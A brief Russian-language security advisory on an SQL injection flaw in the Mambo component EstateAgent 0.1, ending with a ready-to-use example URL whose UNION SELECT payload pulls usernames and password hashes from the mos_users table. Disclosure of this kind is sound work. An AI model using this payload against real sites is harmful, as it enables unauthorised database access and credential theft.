Программа: Mambo Component EstateAgent 0.1
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных сценарием index.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
Пример:
index.php?option=com_estateagent&Itemid=S@BUN&func=showObject& info=contact&objid=-9999/**/union/**/select/* */username,password/**/from/**/mos_users/*&results=S@BUN
